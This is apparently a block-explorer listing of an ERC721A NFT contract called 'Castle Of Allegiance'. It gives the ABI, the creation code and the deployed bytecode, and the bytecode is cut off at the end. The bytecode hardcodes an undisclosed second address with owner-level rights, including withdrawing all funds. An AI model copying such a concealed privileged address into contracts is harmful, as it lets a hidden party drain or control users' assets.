[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"mintAddress","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"allegiance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseuri_","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxTotalFree_","type":"uint256"}],"name":"setMaxTotalFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price_","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
600880546001600160a01b03191673acfcba7bab6403ebcceee22810c4dd3c9bbe976317905560e06040526036608081815290620023c960a03980516200004f91600a9160209091019062000173565b50660e35fa931a0000600b556014600c556001600d55611b58600e55612710600f553480156200007e57600080fd5b50604080518082018252601481527f436173746c65204f6620416c6c656769616e6365000000000000000000000000602080830191825283518085019094526003845262434f4160e81b908401528151919291620000df9160019162000173565b508051620000f590600290602084019062000173565b505050620001126200010c6200011d60201b60201c565b62000121565b600160095562000256565b3390565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b828054620001819062000219565b90600052602060002090601f016020900481019282620001a55760008555620001f0565b82601f10620001c057805160ff1916838001178555620001f0565b82800160010185558215620001f0579182015b82811115620001f0578251825591602001919060010190620001d3565b50620001fe92915062000202565b5090565b5b80821115620001fe576000815560010162000203565b600181811c908216806200022e57607f821691505b602082108114156200025057634e487b7160e01b600052602260045260246000fd5b50919050565b61216380620002666000396000f3fe6080604052600436106101d85760003560e01c806370a0823111610102578063a22cb46511610095578063d5abeb0111610064578063d5abeb0114610514578063e985e9c51461052a578063f2fde38b14610573578063f968adbe1461059357600080fd5b8063a22cb4651461049e578063b88d4fde146104be578063c7c39ffc146104de578063c87b56dd146104f457600080fd5b806395d89b41116100d157806395d89b4114610440578063a035b1fe14610455578063a0712d681461046b578063a0bcfc7f1461047e57600080fd5b806370a08231146103cd578063715018a6146103ed5780638da5cb5b1461040257806391b7f5ed1461042057600080fd5b8063333e44e61161017a5780635559d7e4116101495780635559d7e4146103585780635a963f1b146103785780636352211e146103985780636c0360eb146103b857600080fd5b8063333e44e6146102ed5780633ccfd60b1461030357806342842e0e146103185780634f6ccce71461033857600080fd5b8063095ea7b3116101b6578063095ea7b31461026c57806318160ddd1461028e57806323b872dd146102ad5780632f745c59146102cd57600080fd5b806301ffc9a7146101dd57806306fdde0314610212578063081812fc14610234575b600080fd5b3480156101e957600080fd5b506101fd6101f8366004611de8565b6105a9565b60405190151581526020015b60405180910390f35b34801561021e57600080fd5b50610227610616565b6040516102099190611f2c565b34801561024057600080fd5b5061025461024f366004611e6b565b6106a8565b6040516001600160a01b039091168152602001610209565b34801561027857600080fd5b5061028c610287366004611dbe565b610738565b005b34801561029a57600080fd5b506000545b604051908152602001610209565b3480156102b957600080fd5b5061028c6102c8366004611cca565b610850565b3480156102d957600080fd5b5061029f6102e8366004611dbe565b61085b565b3480156102f957600080fd5b5061029f600e5481565b34801561030f57600080fd5b5061028c6109b8565b34801561032457600080fd5b5061028c610333366004611cca565b610ae2565b34801561034457600080fd5b5061029f610353366004611e6b565b610afd565b34801561036457600080fd5b5061028c610373366004611dbe565b610b5f565b34801561038457600080fd5b5061028c610393366004611e6b565b610bac565b3480156103a457600080fd5b506102546103b3366004611e6b565b610bf0565b3480156103c457600080fd5b50610227610c02565b3480156103d957600080fd5b5061029f6103e8366004611c7c565b610c90565b3480156103f957600080fd5b5061028c610d21565b34801561040e57600080fd5b506007546001600160a01b0316610254565b34801561042c57600080fd5b5061028c61043b366004611e6b565b610d6c565b34801561044c57600080fd5b50610227610db0565b34801561046157600080fd5b5061029f600b5481565b61028c610479366004611e6b565b610dbf565b34801561048a57600080fd5b5061028c610499366004611e22565b611019565b3480156104aa57600080fd5b5061028c6104b9366004611d82565b61106b565b3480156104ca57600080fd5b5061028c6104d9366004611d06565b611130565b3480156104ea57600080fd5b5061029f600d5481565b34801561050057600080fd5b5061022761050f366004611e6b565b611169565b34801561052057600080fd5b5061029f600f5481565b34801561053657600080fd5b506101fd610545366004611c97565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b34801561057f57600080fd5b5061028c61058e366004611c7c565b611240565b34801561059f57600080fd5b5061029f600c5481565b60006001600160e01b031982166380ac58cd60e01b14806105da57506001600160e01b03198216635b5e139f60e01b145b806105f557506001600160e01b0319821663780e9d6360e01b145b8061061057506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606001805461062590612055565b80601f016020809104026020016040519081016040528092919081815260200182805461065190612055565b801561069e5780601f106106735761010080835404028352916020019161069e565b820191906000526020600020905b81548152906001019060200180831161068157829003601f168201915b5050505050905090565b60006106b5826000541190565b61071c5760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b60648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b600061074382610bf0565b9050806001600160a01b0316836001600160a01b031614156107b25760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b6064820152608401610713565b336001600160a01b03821614806107ce57506107ce8133610545565b6108405760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c000000000000006064820152608401610713565b61084b8383836112f0565b505050565b61084b83838361134c565b600061086683610c90565b82106108bf5760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b6064820152608401610713565b600080549080805b83811015610958576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff16918301919091521561091a57805192505b876001600160a01b0316836001600160a01b0316141561094f57868414156109485750935061061092505050565b6001909301925b506001016108c7565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201526d0deeedccae440c4f240d2dcc8caf60931b6064820152608401610713565b6007546001600160a01b03163314806109db57506008546001600160a01b031633145b6109f75760405162461bcd60e51b815260040161071390611f3f565b60026009541415610a4a5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610713565b6002600955604051600090339047908381818185875af1925050503d8060008114610a91576040519150601f19603f3d011682016040523d82523d6000602084013e610a96565b606091505b5050905080610ada5760405162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b6044820152606401610713565b506001600955565b61084b83838360405180602001604052806000815250611130565b600080548210610b5b5760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b6064820152608401610713565b5090565b6007546001600160a01b0316331480610b8257506008546001600160a01b031633145b610b9e5760405162461bcd60e51b815260040161071390611f3f565b610ba88282611631565b5050565b6007546001600160a01b0316331480610bcf57506008546001600160a01b031633145b610beb5760405162461bcd60e51b815260040161071390611f3f565b600e55565b6000610bfb8261164b565b5192915050565b600a8054610c0f90612055565b80601f0160208091040260200160405190810160405280929190818152602001828054610c3b90612055565b8015610c885780601f10610c5d57610100808354040283529160200191610c88565b820191906000526020600020905b815481529060010190602001808311610c6b57829003601f168201915b505050505081565b60006001600160a01b038216610cfc5760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b6064820152608401610713565b506001600160a01b03166000908152600460205260409020546001600160801b031690565b6007546001600160a01b0316331480610d4457506008546001600160a01b031633145b610d605760405162461bcd60e51b815260040161071390611f3f565b610d6a6000611722565b565b6007546001600160a01b0316331480610d8f57506008546001600160a01b031633145b610dab5760405162461bcd60e51b815260040161071390611f3f565b600b55565b60606002805461062590612055565b600b54600e54600090610dd3906001611fc7565b83610ddd60005490565b610de79190611fc7565b108015610e045750600d5433600090815260106020526040902054105b90508015610f1f5781610e178185611ff3565b610e219190612012565b341015610e5e5760405162461bcd60e51b815260206004820152600b60248201526a0929cac82989288be8aa8960ab1b6044820152606401610713565b600f5483610e6b60005490565b610e759190611fc7565b1115610ead5760405162461bcd60e51b81526020600482015260076024820152664e6f206d6f726560c81b6044820152606401610713565b600c54831115610ef55760405162461bcd60e51b815260206004820152601360248201527226b0bc103832b9102a2c103932b0b1b432b21760691b6044820152606401610713565b3360009081526010602052604081208054859290610f14908490611fc7565b9091555061100f9050565b610f298284611ff3565b341015610f785760405162461bcd60e51b815260206004820152601d60248201527f506c656173652073656e642074686520657861637420616d6f756e742e0000006044820152606401610713565b600f5483610f8560005490565b610f8f9190611fc7565b1115610fc75760405162461bcd60e51b81526020600482015260076024820152664e6f206d6f726560c81b6044820152606401610713565b600c5483111561100f5760405162461bcd60e51b815260206004820152601360248201527226b0bc103832b9102a2c103932b0b1b432b21760691b6044820152606401610713565b61084b3384611631565b6007546001600160a01b031633148061103c57506008546001600160a01b031633145b6110585760405162461bcd60e51b815260040161071390611f3f565b8051610ba890600a906020840190611b5a565b6001600160a01b0382163314156110c45760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c65720000000000006044820152606401610713565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61113b84848461134c565b61114784848484611774565b6111635760405162461bcd60e51b815260040161071390611f74565b50505050565b6060611176826000541190565b6111da5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610713565b60006111e4611882565b905060008151116112045760405180602001604052806000815250611239565b80611218611213856001611fc7565b611891565b604051602001611229929190611eb0565b6040516020818303038152906040525b9392505050565b6007546001600160a01b031633148061126357506008546001600160a01b031633145b61127f5760405162461bcd60e51b815260040161071390611f3f565b6001600160a01b0381166112e45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610713565b6112ed81611722565b50565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60006113578261164b565b80519091506000906001600160a01b0316336001600160a01b0316148061138e575033611383846106a8565b6001600160a01b0316145b806113a0575081516113a09033610545565b90508061140a5760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b6064820152608401610713565b846001600160a01b031682600001516001600160a01b03161461147e5760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b6064820152608401610713565b6001600160a01b0384166114e25760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b6064820152608401610713565b6114f260008484600001516112f0565b6001600160a01b03858116600090815260046020908152604080832080546001600160801b03198082166001600160801b03928316600019018316179092558986168086528386208054938416938316600190810190931693909317909255888552600390935281842080546001600160e01b031916909117600160a01b4267ffffffffffffffff16021790559086018083529120549091166115e75761159a816000541190565b156115e7578251600082815260036020908152604090912080549186015167ffffffffffffffff16600160a01b026001600160e01b03199092166001600160a01b03909316929092171790555b5082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b5050505050565b610ba882826040518060200160405280600081525061198f565b604080518082019091526000808252602082015261166a826000541190565b6116c95760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b6064820152608401610713565b815b6000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215611718579392505050565b50600019016116cb565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60006001600160a01b0384163b1561187657604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906117b8903390899088908890600401611eef565b602060405180830381600087803b1580156117d257600080fd5b505af1925050508015611802575060408051601f3d908101601f191682019092526117ff91810190611e05565b60015b61185c573d808015611830576040519150601f19603f3d011682016040523d82523d6000602084013e611835565b606091505b5080516118545760405162461bcd60e51b815260040161071390611f74565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061187a565b5060015b949350505050565b6060600a805461062590612055565b6060816118b55750506040805180820190915260018152600360fc1b602082015290565b8160005b81156118df57806118c981612090565b91506118d89050600a83611fdf565b91506118b9565b60008167ffffffffffffffff8111156118fa576118fa612101565b6040519080825280601f01601f191660200182016040528015611924576020820181803683370190505b5090505b841561187a57611939600183612012565b9150611946600a866120ab565b611951906030611fc7565b60f81b818381518110611966576119666120eb565b60200101906001600160f81b031916908160001a905350611988600a86611fdf565b9450611928565b61084b83838360016000546001600160a01b0385166119fa5760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610713565b83611a585760405162461bcd60e51b815260206004820152602860248201527f455243373231413a207175616e74697479206d75737420626520677265617465604482015267072207468616e20360c41b6064820152608401610713565b6001600160a01b03851660008181526004602090815260408083208054600160801b6001600160801b031982166001600160801b039283168c01831690811782900483168c01909216021790558483526003909152812080546001600160e01b031916909217600160a01b4267ffffffffffffffff16021790915581905b85811015611b515760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a48315611b4557611b296000888488611774565b611b455760405162461bcd60e51b815260040161071390611f74565b60019182019101611ad6565b5060005561162a565b828054611b6690612055565b90600052602060002090601f016020900481019282611b885760008555611bce565b82601f10611ba157805160ff1916838001178555611bce565b82800160010185558215611bce579182015b82811115611bce578251825591602001919060010190611bb3565b50610b5b9291505b80821115610b5b5760008155600101611bd6565b600067ffffffffffffffff80841115611c0557611c05612101565b604051601f8501601f19908116603f01168101908282118183101715611c2d57611c2d612101565b81604052809350858152868686011115611c4657600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611c7757600080fd5b919050565b600060208284031215611c8e57600080fd5b61123982611c60565b60008060408385031215611caa57600080fd5b611cb383611c60565b9150611cc160208401611c60565b90509250929050565b600080600060608486031215611cdf57600080fd5b611ce884611c60565b9250611cf660208501611c60565b9150604084013590509250925092565b60008060008060808587031215611d1c57600080fd5b611d2585611c60565b9350611d3360208601611c60565b925060408501359150606085013567ffffffffffffffff811115611d5657600080fd5b8501601f81018713611d6757600080fd5b611d7687823560208401611bea565b91505092959194509250565b60008060408385031215611d9557600080fd5b611d9e83611c60565b915060208301358015158114611db357600080fd5b809150509250929050565b60008060408385031215611dd157600080fd5b611dda83611c60565b946020939093013593505050565b600060208284031215611dfa57600080fd5b813561123981612117565b600060208284031215611e1757600080fd5b815161123981612117565b600060208284031215611e3457600080fd5b813567ffffffffffffffff811115611e4b57600080fd5b8201601f81018413611e5c57600080fd5b61187a84823560208401611bea565b600060208284031215611e7d57600080fd5b5035919050565b60008151808452611e9c816020860160208601612029565b601f01601f19169290920160200192915050565b60008351611ec2818460208801612029565b835190830190611ed6818360208801612029565b64173539b7b760d91b9101908152600501949350505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611f2290830184611e84565b9695505050505050565b6020815260006112396020830184611e84565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526033908201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260408201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606082015260800190565b60008219821115611fda57611fda6120bf565b500190565b600082611fee57611fee6120d5565b500490565b600081600019048311821515161561200d5761200d6120bf565b500290565b600082821015612024576120246120bf565b500390565b60005b8381101561204457818101518382015260200161202c565b838111156111635750506000910152565b600181811c9082168061206957607f821691505b6020821081141561208a57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156120a4576120a46120bf565b5060010190565b6000826120ba576120ba6120d5565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b0319811681146112ed57600080fdfea26469706673582212206b6c4db67b4b53441c4305e148588227b1a305c7ae42e69b1c5926aeb2a5ad6364736f6c63430008070033697066733a2f2f516d6641346a544846585064597a614a4d6366663755434a77397a544b4d3361754c745936587263314a577757462f
Deployed Bytecode
0x6080604052600436106101d85760003560e01c806370a0823111610102578063a22cb46511610095578063d5abeb0111610064578063d5abeb0114610514578063e985e9c51461052a578063f2fde38b14610573578063f968adbe1461059357600080fd5b8063a22cb4651461049e578063b88d4fde146104be578063c7c39ffc146104de578063c87b56dd146104f457600080fd5b806395d89b41116100d157806395d89b4114610440578063a035b1fe14610455578063a0712d681461046b578063a0bcfc7f1461047e57600080fd5b806370a08231146103cd578063715018a6146103ed5780638da5cb5b1461040257806391b7f5ed1461042057600080fd5b8063333e44e61161017a5780635559d7e4116101495780635559d7e4146103585780635a963f1b146103785780636352211e146103985780636c0360eb146103b857600080fd5b8063333e44e6146102ed5780633ccfd60b1461030357806342842e0e146103185780634f6ccce71461033857600080fd5b8063095ea7b3116101b6578063095ea7b31461026c57806318160ddd1461028e57806323b872dd146102ad5780632f745c59146102cd57600080fd5b806301ffc9a7146101dd57806306fdde0314610212578063081812fc14610234575b600080fd5b3480156101e957600080fd5b506101fd6101f8366004611de8565b6105a9565b60405190151581526020015b60405180910390f35b34801561021e57600080fd5b50610227610616565b6040516102099190611f2c565b34801561024057600080fd5b5061025461024f366004611e6b565b6106a8565b6040516001600160a01b039091168152602001610209565b34801561027857600080fd5b5061028c610287366004611dbe565b610738565b005b34801561029a57600080fd5b506000545b604051908152602001610209565b3480156102b957600080fd5b5061028c6102c8366004611cca565b610850565b3480156102d957600080fd5b5061029f6102e8366004611dbe565b61085b565b3480156102f957600080fd5b5061029f600e5481565b34801561030f57600080fd5b5061028c6109b8565b34801561032457600080fd5b5061028c610333366004611cca565b610ae2565b34801561034457600080fd5b5061029f610353366004611e6b565b610afd565b34801561036457600080fd5b5061028c610373366004611dbe565b610b5f565b34801561038457600080fd5b5061028c610393366004611e6b565b610bac565b3480156103a457600080fd5b506102546103b3366004611e6b565b610bf0565b3480156103c457600080fd5b50610227610c02565b3480156103d957600080fd5b5061029f6103e8366004611c7c565b610c90565b3480156103f957600080fd5b5061028c610d21565b34801561040e57600080fd5b506007546001600160a01b0316610254565b34801561042c57600080fd5b5061028c61043b366004611e6b565b610d6c565b34801561044c57600080fd5b50610227610db0565b34801561046157600080fd5b5061029f600b5481565b61028c610479366004611e6b565b610dbf565b34801561048a57600080fd5b5061028c610499366004611e22565b611019565b3480156104aa57600080fd5b5061028c6104b9366004611d82565b61106b565b3480156104ca57600080fd5b5061028c6104d9366004611d06565b611130565b3480156104ea57600080fd5b5061029f600d5481565b34801561050057600080fd5b5061022761050f366004611e6b565b611169565b34801561052057600080fd5b5061029f600f5481565b34801561053657600080fd5b506101fd610545366004611c97565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b34801561057f57600080fd5b5061028c61058e366004611c7c565b611240565b34801561059f57600080fd5b5061029f600c5481565b60006001600160e01b031982166380ac58cd60e01b14806105da57506001600160e01b03198216635b5e139f60e01b145b806105f557506001600160e01b0319821663780e9d6360e01b145b8061061057506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606001805461062590612055565b80601f016020809104026020016040519081016040528092919081815260200182805461065190612055565b801561069e5780601f106106735761010080835404028352916020019161069e565b820191906000526020600020905b81548152906001019060200180831161068157829003601f168201915b5050505050905090565b60006106b5826000541190565b61071c5760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b60648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b600061074382610bf0565b9050806001600160a01b0316836001600160a01b031614156107b25760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b6064820152608401610713565b336001600160a01b03821614806107ce57506107ce8133610545565b6108405760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c000000000000006064820152608401610713565b61084b8383836112f0565b505050565b61084b83838361134c565b600061086683610c90565b82106108bf5760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b6064820152608401610713565b600080549080805b83811015610958576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff16918301919091521561091a57805192505b876001600160a01b0316836001600160a01b0316141561094f57868414156109485750935061061092505050565b6001909301925b506001016108c7565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201526d0deeedccae440c4f240d2dcc8caf60931b6064820152608401610713565b6007546001600160a01b03163314806109db57506008546001600160a01b031633145b6109f75760405162461bcd60e51b815260040161071390611f3f565b60026009541415610a4a5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610713565b6002600955604051600090339047908381818185875af1925050503d8060008114610a91576040519150601f19603f3d011682016040523d82523d6000602084013e610a96565b606091505b5050905080610ada5760405162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b6044820152606401610713565b506001600955565b61084b83838360405180602001604052806000815250611130565b600080548210610b5b5760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b6064820152608401610713565b5090565b6007546001600160a01b0316331480610b8257506008546001600160a01b031633145b610b9e5760405162461bcd60e51b815260040161071390611f3f565b610ba88282611631565b5050565b6007546001600160a01b0316331480610bcf57506008546001600160a01b031633145b610beb5760405162461bcd60e51b815260040161071390611f3f565b600e55565b6000610bfb8261164b565b5192915050565b600a8054610c0f90612055565b80601f0160208091040260200160405190810160405280929190818152602001828054610c3b90612055565b8015610c885780601f10610c5d57610100808354040283529160200191610c88565b820191906000526020600020905b815481529060010190602001808311610c6b57829003601f168201915b505050505081565b60006001600160a01b038216610cfc5760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b6064820152608401610713565b506001600160a01b03166000908152600460205260409020546001600160801b031690565b6007546001600160a01b0316331480610d4457506008546001600160a01b031633145b610d605760405162461bcd60e51b815260040161071390611f3f565b610d6a6000611722565b565b6007546001600160a01b0316331480610d8f57506008546001600160a01b031633145b610dab5760405162461bcd60e51b815260040161071390611f3f565b600b55565b60606002805461062590612055565b600b54600e54600090610dd3906001611fc7565b83610ddd60005490565b610de79190611fc7565b108015610e045750600d5433600090815260106020526040902054105b90508015610f1f5781610e178185611ff3565b610e219190612012565b341015610e5e5760405162461bcd60e51b815260206004820152600b60248201526a0929cac82989288be8aa8960ab1b6044820152606401610713565b600f5483610e6b60005490565b610e759190611fc7565b1115610ead5760405162461bcd60e51b81526020600482015260076024820152664e6f206d6f726560c81b6044820152606401610713565b600c54831115610ef55760405162461bcd60e51b815260206004820152601360248201527226b0bc103832b9102a2c103932b0b1b432b21760691b6044820152606401610713565b3360009081526010602052604081208054859290610f14908490611fc7565b9091555061100f9050565b610f298284611ff3565b341015610f785760405162461bcd60e51b815260206004820152601d60248201527f506c656173652073656e642074686520657861637420616d6f756e742e0000006044820152606401610713565b600f5483610f8560005490565b610f8f9190611fc7565b1115610fc75760405162461bcd60e51b81526020600482015260076024820152664e6f206d6f726560c81b6044820152606401610713565b600c5483111561100f5760405162461bcd60e51b815260206004820152601360248201527226b0bc103832b9102a2c103932b0b1b432b21760691b6044820152606401610713565b61084b3384611631565b6007546001600160a01b031633148061103c57506008546001600160a01b031633145b6110585760405162461bcd60e51b815260040161071390611f3f565b8051610ba890600a906020840190611b5a565b6001600160a01b0382163314156110c45760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c65720000000000006044820152606401610713565b3